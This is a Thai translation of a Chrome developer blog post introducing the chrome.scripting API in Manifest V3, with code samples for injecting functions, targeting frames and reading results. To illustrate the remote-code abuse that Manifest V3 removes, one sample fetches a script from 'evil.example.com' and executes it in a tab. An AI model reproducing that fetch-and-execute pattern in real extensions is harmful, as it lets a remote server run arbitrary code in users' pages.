ขอแนะนำ chrome.scripting

Manifest V3 นำเสนอการเปลี่ยนแปลงหลายประการในแพลตฟอร์มส่วนขยายของ Chrome ในโพสต์นี้ เราจะมาสำรวจแรงจูงใจและการเปลี่ยนแปลงที่เกิดจากหนึ่งในการเปลี่ยนแปลงที่โดดเด่นที่สุด นั่นก็คือการเปิดตัว chrome.scripting API

chrome.scripting คืออะไร

ชื่ออาจบอกได้ว่า chrome.scripting คือเนมสเปซใหม่ที่เปิดตัวในไฟล์ Manifest V3 ซึ่งเป็นผู้รับผิดชอบด้านความสามารถในการแทรกสคริปต์และสไตล์

นักพัฒนาซอฟต์แวร์ที่เคยสร้างส่วนขยาย Chrome มาก่อนอาจคุ้นเคยกับเมธอดไฟล์ Manifest V2 ใน Tabs API เช่น chrome.tabs.executeScript และ chrome.tabs.insertCSS เมธอดเหล่านี้ช่วยให้ส่วนขยายสามารถแทรกสคริปต์และสไตล์ชีตลงในหน้าเว็บตามลำดับ ในไฟล์ Manifest V3 ความสามารถเหล่านี้ย้ายไปยัง chrome.scripting และเราวางแผนที่จะขยาย API นี้พร้อมด้วยความสามารถใหม่บางอย่างในอนาคต

เหตุใดจึงควรสร้าง API ใหม่

ในการเปลี่ยนแปลงแบบนี้ หนึ่งในคำถามแรกๆ ที่มีแนวโน้มว่าจะเกิดขึ้นก็คือ "ทำไม"

ปัจจัยบางประการที่ทำให้ทีม Chrome ตัดสินใจนำเนมสเปซใหม่มาใช้ในการเขียนสคริปต์ ข้อแรก Tabs API เป็นเหมือนคลังเก็บของเล็กๆ น้อยๆ สำหรับฟีเจอร์ต่างๆ อย่างที่ 2 เราต้องทำการเปลี่ยนแปลงที่เสียหาย กับ API ของ executeScript ที่มีอยู่ ประการที่สาม เรารู้ว่าต้องการเพิ่มความสามารถในการเขียนสคริปต์ สำหรับส่วนขยาย เมื่อพิจารณารวมกันแล้ว ข้อกังวลเหล่านี้ได้ระบุอย่างชัดเจนถึงความจำเป็นในการใช้เนมสเปซใหม่เพื่อสร้างความสามารถในการเขียนสคริปต์

ลิ้นชักขยะ

ปัญหาหนึ่งที่สร้างความรำคาญให้กับทีมส่วนขยายในช่วง 2-3 ปีที่ผ่านมาคือ chrome.tabs API มีการใช้งานมากเกินไป เมื่อเปิดตัว API นี้เป็นครั้งแรก ความสามารถส่วนใหญ่ที่ API มีให้จะเกี่ยวข้องกับแนวคิดกว้างๆ ของแท็บเบราว์เซอร์ แต่ถึงจุดนั้นแล้ว คอลเล็กชันนี้ก็เป็นเพียง ฟีเจอร์มากมายที่สะสมไว้ และในช่วงหลายปีที่ผ่านมา คอลเล็กชันนี้เติบโตขึ้นเท่านั้น

ในช่วงที่เปิดตัวไฟล์ Manifest V3 นั้น Tabs API ได้เติบโตขึ้นเพื่อให้ครอบคลุมการจัดการแท็บพื้นฐาน การจัดการการเลือก การจัดระเบียบหน้าต่าง การรับส่งข้อความ การควบคุมการซูม การนำทางพื้นฐาน การเขียนสคริปต์ และความสามารถอื่นๆ ที่เล็กลง แม้ว่าสิ่งเหล่านี้จะเป็นเรื่องที่สำคัญ แต่อาจเป็นเรื่องยุ่งยากเล็กน้อยสำหรับนักพัฒนาแอปในช่วงเริ่มต้นและสำหรับทีม Chrome ในขณะที่เราดูแลรักษาแพลตฟอร์มและพิจารณาคำขอจากชุมชนนักพัฒนาซอฟต์แวร์

อีกปัจจัยที่ซับซ้อนคือไม่เข้าใจสิทธิ์ tabs แม้ว่าสิทธิ์อื่นๆ อีกหลายรายการจะจำกัดการเข้าถึง API ที่ระบุ (เช่น storage) สิทธิ์นี้ค่อนข้างผิดปกติตรงที่ให้สิทธิ์ส่วนขยายเข้าถึงพร็อพเพอร์ตี้ที่มีความละเอียดอ่อนในอินสแตนซ์แท็บเท่านั้น (และการขยายจะส่งผลต่อ Windows API ด้วย) เราเข้าใจดีว่านักพัฒนาส่วนขยายหลายรายเข้าใจผิดว่าตนต้องมีสิทธิ์นี้เพื่อเข้าถึงเมธอดใน Tabs API เช่น chrome.tabs.create หรือพูดง่ายๆ ก็คือ chrome.tabs.executeScript การย้ายฟังก์ชันออกจาก Tabs API จะช่วยลดความสับสนนี้ได้

การเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบ

เมื่อออกแบบไฟล์ Manifest V3 ปัญหาหลักอย่างหนึ่งที่เราต้องการแก้ไขคือการละเมิดและมัลแวร์ที่เปิดใช้โดย "โค้ดที่โฮสต์จากระยะไกล" ซึ่งเป็นโค้ดที่ถูกเรียกใช้งานแต่ไม่รวมอยู่ในแพ็กเกจส่วนขยาย เป็นเรื่องปกติที่ผู้เขียนส่วนขยายที่ละเมิดจะเรียกใช้สคริปต์ที่ดึงมาจากเซิร์ฟเวอร์ระยะไกลเพื่อขโมยข้อมูลผู้ใช้ แทรกมัลแวร์ และหลบเลี่ยงการตรวจจับ แม้ว่าผู้ไม่ประสงค์ดีจะใช้ความสามารถนี้ได้เช่นกัน แต่ท้ายที่สุด เรารู้สึกว่ามันอันตรายเกินกว่าที่จะคงไว้ตามเดิม

ส่วนขยายจะเรียกใช้โค้ดแบบเลิกรวมกลุ่มได้ด้วย 2 วิธีที่แตกต่างกัน แต่วิธีที่เกี่ยวข้องคือเมธอด chrome.tabs.executeScript สำหรับไฟล์ Manifest V2 เมธอดนี้ช่วยให้ส่วนขยายเรียกใช้สตริงโค้ดที่กำหนดเองในแท็บเป้าหมายได้ ซึ่งหมายความว่านักพัฒนาซอฟต์แวร์ที่เป็นอันตรายสามารถดึงสคริปต์ที่กำหนดเองจากเซิร์ฟเวอร์ระยะไกลและเรียกใช้สคริปต์ภายในหน้าที่ส่วนขยายเข้าถึงได้ เราทราบดีว่าหากต้องการแก้ไขปัญหาเกี่ยวกับรีโมตโค้ด เราจะต้องยกเลิกฟีเจอร์นี้

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

นอกจากนี้ เรายังต้องการแก้ปัญหาเล็กๆ น้อยๆ อื่นๆ ที่เกี่ยวข้องกับการออกแบบเวอร์ชันไฟล์ Manifest V2 และทำให้ API เป็นเครื่องมือที่มีประสิทธิภาพและคาดการณ์ได้มากยิ่งขึ้น

แม้เราจะสามารถเปลี่ยนลายเซ็นของวิธีนี้ภายใน Tabs API ได้ แต่เราคิดว่าระหว่างการเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบและการเปิดตัวความสามารถใหม่ๆ (จะอธิบายในส่วนถัดไป) การพักอย่างเป็นระเบียบจะง่ายขึ้นสำหรับทุกคน

ขยายความสามารถในการเขียนสคริปต์

ข้อควรพิจารณาอีกอย่างหนึ่งในการพิจารณาออกแบบไฟล์ Manifest V3 คือความต้องการที่จะแนะนำความสามารถเพิ่มเติมของการเขียนสคริปต์ในแพลตฟอร์มส่วนขยายของ Chrome โดยเฉพาะอย่างยิ่ง เราต้องการเพิ่มการรองรับสคริปต์เนื้อหาแบบไดนามิกและขยายความสามารถของเมธอด executeScript

การรองรับสคริปต์เนื้อหาแบบไดนามิกเป็นคำขอฟีเจอร์ที่มีมาอย่างยาวนานใน Chromium ปัจจุบัน ส่วนขยาย Chrome ไฟล์ Manifest V2 และ V3 จะประกาศสคริปต์เนื้อหาแบบคงที่ได้เฉพาะในไฟล์ manifest.json เท่านั้น แพลตฟอร์มไม่ได้ให้วิธีลงทะเบียนสคริปต์เนื้อหาใหม่ ปรับการลงทะเบียนสคริปต์เนื้อหา หรือยกเลิกการลงทะเบียนสคริปต์เนื้อหาระหว่างรันไทม์

แม้เราจะรู้ดีว่าเราต้องการจัดการกับคำขอฟีเจอร์นี้ในไฟล์ Manifest V3 แต่ API ที่มีอยู่ของเราทั้งหมดก็ไม่รู้สึกว่าเป็นบ้านหลังที่ถูกต้องเลย เรายังพิจารณาการใช้ Content Scripts API ให้สอดคล้องกับ Firefox ด้วย แต่ในช่วงแรกๆ เราพบข้อเสียหลัก 2 ประการของวิธีการนี้ ก่อนอื่น เราทราบว่าอาจมีลายเซ็นที่ใช้ร่วมกันไม่ได้ (เช่น ลดการรองรับพร็อพเพอร์ตี้ code) ประการที่ 2 API ของเรามีชุดข้อจำกัดในการออกแบบที่ต่างออกไป (เช่น ต้องลงทะเบียนเพื่อให้ใช้งานได้เกินอายุการใช้งานของ Service Worker) สุดท้าย เนมสเปซนี้ยังเป็นการแสวงหาประโยชน์จาก ฟังก์ชันการทำงานของสคริปต์เนื้อหา ซึ่งเรากำลังพิจารณาเกี่ยวกับการเขียนสคริปต์ในส่วนขยายให้กว้างขึ้นอีกด้วย

ในด้านหน้าของ executeScript เราต้องการขยายความสามารถของ API นี้นอกเหนือจากที่เวอร์ชัน API ของแท็บรองรับ กล่าวอย่างเจาะจงก็คือ เราต้องการรองรับฟังก์ชันและอาร์กิวเมนต์ กำหนดเป้าหมายเฟรมที่เจาะจง และกำหนดเป้าหมายบริบทที่ไม่ใช่ "แท็บ" ได้ง่ายขึ้น

นับจากนี้ไป เราจะพิจารณาวิธีที่ส่วนขยายสามารถโต้ตอบกับ PWA ที่ติดตั้งและบริบทอื่นๆ ที่ไม่ได้จับคู่กับ "แท็บ" ในเชิงแนวคิด

การเปลี่ยนแปลงระหว่างtab.exeผลิตภัณฑ์ทั้งหมด Script และ Scripting.executeScript

ในช่วงเวลาที่เหลือของโพสต์นี้ เราอยากจะดูรายละเอียดความคล้ายคลึงและความแตกต่างระหว่าง chrome.tabs.executeScript และ chrome.scripting.executeScript อย่างละเอียด

การแทรกฟังก์ชันที่มีอาร์กิวเมนต์

ขณะพิจารณาว่าแพลตฟอร์มจะต้องพัฒนาไปอย่างไรเนื่องด้วยข้อจำกัดเกี่ยวกับโค้ดที่โฮสต์จากระยะไกล เราอยากหาสมดุลระหว่างพลังดิบของการเรียกใช้โค้ดที่กำหนดเองกับการอนุญาตเฉพาะสคริปต์เนื้อหาแบบคงที่ โซลูชันที่เราใช้คือการอนุญาตให้ส่วนขยายแทรกฟังก์ชันเป็นสคริปต์เนื้อหาและส่งอาร์เรย์ค่าเป็นอาร์กิวเมนต์

มาดูตัวอย่างสั้นๆ (ที่เข้าใจง่ายขึ้น) กัน สมมติว่าเราต้องการแทรกสคริปต์ทักทายผู้ใช้ด้วยชื่อเมื่อผู้ใช้คลิกปุ่มการทำงานของส่วนขยาย (ไอคอนในแถบเครื่องมือ) ในไฟล์ Manifest V2 เราสามารถสร้างสตริงโค้ดแบบไดนามิกและเรียกใช้สคริปต์นั้นในหน้าปัจจุบัน

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

แม้ว่าส่วนขยายไฟล์ Manifest V3 จะใช้โค้ดที่ไม่ได้มาพร้อมกับส่วนขยายไม่ได้ แต่เป้าหมายของเราคือการรักษาการเปลี่ยนแปลงบางอย่างที่เปิดใช้การบล็อกโค้ดที่กำหนดเองสำหรับส่วนขยายที่ใช้ไฟล์ Manifest V2 แนวทางด้านฟังก์ชันและอาร์กิวเมนต์ช่วยให้ผู้ตรวจสอบ ผู้ใช้ และฝ่ายที่สนใจอื่นๆ ของ Chrome เว็บสโตร์ประเมินความเสี่ยงที่ส่วนขยายมีได้อย่างแม่นยำยิ่งขึ้น ในขณะเดียวกันก็ช่วยให้นักพัฒนาซอฟต์แวร์ปรับเปลี่ยนการทำงานรันไทม์ของส่วนขยายตามการตั้งค่าของผู้ใช้หรือสถานะของแอปพลิเคชันได้

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

เฟรมการกำหนดเป้าหมาย

เรายังอยากปรับปรุงวิธีที่นักพัฒนาแอปโต้ตอบกับเฟรมใน API ที่แก้ไขแล้วด้วย ไฟล์ Manifest V2 เวอร์ชัน executeScript ช่วยให้นักพัฒนาซอฟต์แวร์กำหนดเป้าหมายเฟรมทั้งหมดในแท็บหรือเฟรมที่เฉพาะเจาะจงในแท็บได้ คุณใช้ chrome.webNavigation.getAllFrames เพื่อดูรายการเฟรมทั้งหมดในแท็บได้

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

ในไฟล์ Manifest V3 เราแทนที่พร็อพเพอร์ตี้ที่เป็นจำนวนเต็ม frameId ที่ไม่บังคับในออบเจ็กต์ตัวเลือกด้วยอาร์เรย์ frameIds (ไม่บังคับ) ของจำนวนเต็ม ซึ่งช่วยให้นักพัฒนาแอปกำหนดเป้าหมายหลายเฟรมได้ในการเรียก API เดียว

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

ผลของการแทรกสคริปต์

นอกจากนี้เรายังได้ปรับปรุงวิธีแสดงผลการแทรกสคริปต์ในไฟล์ Manifest V3 อีกด้วย โดยทั่วไปแล้ว "ผลลัพธ์" คือคำสั่งสุดท้ายที่ประเมินในสคริปต์ ให้คิดว่าเหมือนกับค่าที่ส่งกลับเมื่อเรียกใช้ eval() หรือเรียกใช้บล็อกโค้ดในคอนโซล Chrome DevTools แต่จะมีการทำให้เป็นอนุกรมเพื่อส่งต่อผลลัพธ์ในกระบวนการต่างๆ

ในไฟล์ Manifest V2 นั้น executeScript และ insertCSS จะแสดงผลอาร์เรย์ของผลการดำเนินการแบบธรรมดา การทำเช่นนี้ถือว่าไม่เสียหายหากคุณมีจุดฉีดเดียว แต่ไม่รับประกันว่าผลลัพธ์ของลำดับเมื่อแทรกลงในหลายเฟรม จึงไม่มีทางบอกได้ว่าผลลัพธ์ใดเชื่อมโยงกับเฟรมใด

ลองดูตัวอย่างที่ชัดเจนจากอาร์เรย์ results ที่แสดงผลโดยไฟล์ Manifest V2 และไฟล์ Manifest V3 ของส่วนขยายเดียวกัน ส่วนขยายทั้ง 2 เวอร์ชันจะแทรกสคริปต์เนื้อหาเดียวกัน และเราจะเปรียบเทียบผลลัพธ์ในหน้าสาธิตเดียวกัน

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

เมื่อเรียกใช้ไฟล์ Manifest V2 เวอร์ชัน 2 เราจะได้อาร์เรย์ [1, 0, 5] กลับมา ผลลัพธ์ใดสอดคล้องกับเฟรมหลัก และผลลัพธ์ใดสำหรับ iframe ค่าผลลัพธ์ไม่ได้บอกอะไรเรา เราจึงไม่ทราบแน่ชัด

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

ในไฟล์ Manifest V3 เวอร์ชัน results ตอนนี้ results มีอาร์เรย์ของออบเจ็กต์ผลลัพธ์แทนที่จะเป็นอาร์เรย์ที่มีเฉพาะผลการประเมิน และออบเจ็กต์ผลลัพธ์ระบุรหัสของเฟรมสำหรับผลลัพธ์แต่ละรายการอย่างชัดเจน ซึ่งช่วยให้นักพัฒนาแอปใช้ผลลัพธ์และดำเนินการกับเฟรมที่เฉพาะเจาะจงได้ง่ายขึ้น

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

สรุป

การยกตัวขึ้นของเวอร์ชันไฟล์ Manifest เป็นโอกาสที่หาได้ยากในการคิดใหม่และปรับเปลี่ยน API ส่วนขยายให้ทันสมัย เป้าหมายของ Manifest V3 ของเราคือการปรับปรุงประสบการณ์ของผู้ใช้ปลายทางโดยการทำให้ส่วนขยายปลอดภัยยิ่งขึ้น ขณะเดียวกันก็ปรับปรุงประสบการณ์การใช้งานของนักพัฒนาซอฟต์แวร์ด้วย การเปิดตัว chrome.scripting ในไฟล์ Manifest V3 ทำให้เราสามารถช่วยจัดระเบียบ Tabs API เปลี่ยนโฉม executeScript ให้เป็นแพลตฟอร์มส่วนขยายที่ปลอดภัยมากขึ้น รวมถึงวางรากฐานสำหรับความสามารถในการเขียนสคริปต์แบบใหม่ที่จะเปิดตัวภายในปีนี้